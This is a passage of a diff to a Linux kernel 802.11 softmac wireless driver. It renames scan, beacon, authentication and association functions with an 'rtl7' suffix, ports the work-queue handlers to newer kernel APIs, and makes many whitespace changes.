- + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if 